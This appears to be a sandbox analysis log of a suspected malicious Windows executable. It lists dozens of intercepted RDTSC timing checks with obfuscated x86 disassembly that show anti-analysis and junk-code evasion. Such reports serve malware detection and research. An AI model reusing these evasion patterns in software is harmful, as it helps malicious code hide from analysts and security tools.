Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5BE093 second address: 5BE099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5BE099 second address: 5BE0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716557DC81h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C4050 second address: 5C4055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C4055 second address: 5C405B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C405B second address: 5C4061 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C4061 second address: 5C407F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jo 00007F716557DC76h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C2FB7 second address: 5C2FBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C2FBB second address: 5C2FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F716557DC76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C2FC9 second address: 5C2FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C32CA second address: 5C32D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C32D0 second address: 5C32D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C32D4 second address: 5C32DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C3805 second address: 5C380A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C380A second address: 5C383E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007F716557DC7Ch 0x0000000f jmp 00007F716557DC7Bh 0x00000014 pushad 0x00000015 jmp 00007F716557DC81h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C397C second address: 5C3980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C3980 second address: 5C399B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F716557DC81h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C399B second address: 5C399F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C399F second address: 5C39B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C39B8 second address: 5C39BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C3DB3 second address: 5C3DB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C576C second address: 5C5775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C5775 second address: 5C579A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b jmp 00007F716557DC7Ah 0x00000010 pop ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C6D26 second address: 5C6D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C6D2A second address: 5C6D2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C99D2 second address: 5C99D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5C99D8 second address: 5C99DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5CD019 second address: 5CD01D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5CD01D second address: 5CD025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5CD025 second address: 5CD02D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E8A9E second address: 4E8AA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54103A5 second address: 54103C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, 64h 0x0000000f mov esi, 2ADA3343h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54103C0 second address: 54103F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F716557DC81h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 mov ch, bl 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54103F8 second address: 541042F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ecx, 0CDE277Bh 0x00000011 movzx eax, bx 0x00000014 popad 0x00000015 mov edx, dword ptr [ebp+0Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F716511B4A5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 541042F second address: 5410433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5410433 second address: 5410439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5430548 second address: 5430595 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F716557DC86h 0x00000008 sub ax, 1748h 0x0000000d jmp 00007F716557DC7Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov di, ax 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F716557DC85h 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5430595 second address: 5430599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5430599 second address: 543059F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 543059F second address: 54305BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bl, 94h 0x00000010 mov edi, eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54305BF second address: 54305D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716557DC7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54307EA second address: 54307F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54307F0 second address: 54307F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54307F4 second address: 54307F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54307F8 second address: 5430889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F716557DC85h 0x00000011 and cl, 00000076h 0x00000014 jmp 00007F716557DC81h 0x00000019 popfd 0x0000001a push esi 0x0000001b mov edx, 18904DB2h 0x00000020 pop edx 0x00000021 popad 0x00000022 pop esi 0x00000023 pushad 0x00000024 call 00007F716557DC84h 0x00000029 pushfd 0x0000002a jmp 00007F716557DC82h 0x0000002f jmp 00007F716557DC85h 0x00000034 popfd 0x00000035 pop esi 0x00000036 call 00007F716557DC81h 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5430889 second address: 54308A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 leave 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F716511B4A4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54308A7 second address: 5420260 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 jmp 00007F716557DC72h 0x00000014 xor ebx, ebx 0x00000016 test al, 01h 0x00000018 jne 00007F716557DC77h 0x0000001a sub esp, 04h 0x0000001d mov dword ptr [esp], 0000000Dh 0x00000024 call 00007F716A68B448h 0x00000029 mov edi, edi 0x0000002b jmp 00007F716557DC86h 0x00000030 xchg eax, ebp 0x00000031 pushad 0x00000032 mov di, si 0x00000035 popad 0x00000036 push eax 0x00000037 jmp 00007F716557DC86h 0x0000003c xchg eax, ebp 0x0000003d jmp 00007F716557DC80h 0x00000042 mov ebp, esp 0x00000044 jmp 00007F716557DC80h 0x00000049 sub esp, 2Ch 0x0000004c jmp 00007F716557DC80h 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 movzx eax, dx 0x00000056 mov di, 754Eh 0x0000005a popad 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F716557DC7Bh 0x00000063 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420260 second address: 5420278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716511B4A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420278 second address: 542027C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 542027C second address: 54202D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F716511B4A7h 0x0000000e xchg eax, edi 0x0000000f jmp 00007F716511B4A6h 0x00000014 push eax 0x00000015 pushad 0x00000016 mov eax, edx 0x00000018 popad 0x00000019 xchg eax, edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F716511B4A5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420319 second address: 54203B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 call 00007F716557DC7Ah 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f inc ebx 0x00000010 pushad 0x00000011 push ebx 0x00000012 mov bx, si 0x00000015 pop esi 0x00000016 call 00007F716557DC7Fh 0x0000001b pushad 0x0000001c popad 0x0000001d pop eax 0x0000001e popad 0x0000001f test al, al 0x00000021 pushad 0x00000022 call 00007F716557DC7Bh 0x00000027 push ecx 0x00000028 pop ebx 0x00000029 pop eax 0x0000002a movsx ebx, cx 0x0000002d popad 0x0000002e je 00007F716557DE8Eh 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F716557DC89h 0x0000003d adc ax, E9D6h 0x00000042 jmp 00007F716557DC81h 0x00000047 popfd 0x00000048 pushfd 0x00000049 jmp 00007F716557DC80h 0x0000004e add ax, 87F8h 0x00000053 jmp 00007F716557DC7Bh 0x00000058 popfd 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420430 second address: 5420491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 54h 0x00000005 pushfd 0x00000006 jmp 00007F716511B4A0h 0x0000000b add cx, 1178h 0x00000010 jmp 00007F716511B49Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 nop 0x0000001a jmp 00007F716511B4A6h 0x0000001f push eax 0x00000020 pushad 0x00000021 mov ecx, 3899C633h 0x00000026 popad 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F716511B4A5h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54204EB second address: 5420503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716557DC84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420503 second address: 54205A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F716511B4F6h 0x00000011 jmp 00007F716511B4A6h 0x00000016 cmp dword ptr [ebp-14h], edi 0x00000019 jmp 00007F716511B4A0h 0x0000001e jne 00007F71D69293EEh 0x00000024 pushad 0x00000025 pushad 0x00000026 mov edx, eax 0x00000028 pushfd 0x00000029 jmp 00007F716511B4A8h 0x0000002e sub esi, 5140D948h 0x00000034 jmp 00007F716511B49Bh 0x00000039 popfd 0x0000003a popad 0x0000003b popad 0x0000003c mov ebx, dword ptr [ebp+08h] 0x0000003f jmp 00007F716511B4A5h 0x00000044 lea eax, dword ptr [ebp-2Ch] 0x00000047 pushad 0x00000048 mov di, si 0x0000004b popad 0x0000004c push esp 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 jmp 00007F716511B49Ah 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54205A9 second address: 5420636 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007F716557DC86h 0x00000011 nop 0x00000012 jmp 00007F716557DC80h 0x00000017 push eax 0x00000018 pushad 0x00000019 jmp 00007F716557DC81h 0x0000001e call 00007F716557DC80h 0x00000023 pushad 0x00000024 popad 0x00000025 pop ecx 0x00000026 popad 0x00000027 nop 0x00000028 jmp 00007F716557DC87h 0x0000002d xchg eax, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F716557DC80h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420636 second address: 5420645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420014 second address: 542003B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F716557DC85h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 542003B second address: 54200EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F716511B4A7h 0x00000009 adc cl, FFFFFFBEh 0x0000000c jmp 00007F716511B4A9h 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop edi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F716511B49Dh 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f mov cx, 8D93h 0x00000023 call 00007F716511B4A8h 0x00000028 pushfd 0x00000029 jmp 00007F716511B4A2h 0x0000002e add ecx, 66738D48h 0x00000034 jmp 00007F716511B49Bh 0x00000039 popfd 0x0000003a pop ecx 0x0000003b popad 0x0000003c mov ebp, esp 0x0000003e pushad 0x0000003f mov ah, bl 0x00000041 push eax 0x00000042 push edx 0x00000043 pushfd 0x00000044 jmp 00007F716511B49Ch 0x00000049 or ah, FFFFFFA8h 0x0000004c jmp 00007F716511B49Bh 0x00000051 popfd 0x00000052 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54200EE second address: 5420118 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push edx 0x00000009 jmp 00007F716557DC80h 0x0000000e mov dword ptr [esp], ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F716557DC7Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420118 second address: 542011E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 542011E second address: 5420155 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F716557DC7Ch 0x00000008 pop ecx 0x00000009 jmp 00007F716557DC7Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [ebp-04h], 55534552h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007F716557DC7Bh 0x00000020 mov bx, ax 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 542017A second address: 5420180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420180 second address: 5420186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420186 second address: 54201C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B49Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop esi 0x00000011 pushfd 0x00000012 jmp 00007F716511B4A9h 0x00000017 jmp 00007F716511B49Bh 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54201C5 second address: 54201CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 542098C second address: 54209A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54209A7 second address: 54209BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716557DC84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 54209BF second address: 5420A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F716511B49Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F716511B4A0h 0x00000016 mov ebp, esp 0x00000018 jmp 00007F716511B4A0h 0x0000001d cmp dword ptr [76C8459Ch], 05h 0x00000024 pushad 0x00000025 mov ax, 583Dh 0x00000029 pushfd 0x0000002a jmp 00007F716511B49Ah 0x0000002f sub cx, 0618h 0x00000034 jmp 00007F716511B49Bh 0x00000039 popfd 0x0000003a popad 0x0000003b je 00007F71D6919473h 0x00000041 jmp 00007F716511B4A6h 0x00000046 pop ebp 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007F716511B49Dh 0x00000050 add cl, 00000066h 0x00000053 jmp 00007F716511B4A1h 0x00000058 popfd 0x00000059 pushad 0x0000005a popad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420A68 second address: 5420A76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716557DC7Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420A76 second address: 5420A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420A9C second address: 5420AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F716557DC81h 0x00000009 xor ecx, 086CAD26h 0x0000000f jmp 00007F716557DC81h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push 3D8A4EE4h 0x0000001d pushad 0x0000001e push esi 0x0000001f call 00007F716557DC7Fh 0x00000024 pop esi 0x00000025 pop edx 0x00000026 popad 0x00000027 add dword ptr [esp], 393D4D44h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420AF2 second address: 5420AF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420AF8 second address: 5420AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420AFE second address: 5420B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5420B02 second address: 5420B67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F71D6D82CDEh 0x0000000d push 76C22B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [76C84538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 